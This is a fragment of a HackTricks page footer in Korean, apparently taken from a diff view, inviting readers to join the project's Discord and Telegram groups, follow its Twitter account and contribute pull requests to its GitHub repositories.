* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue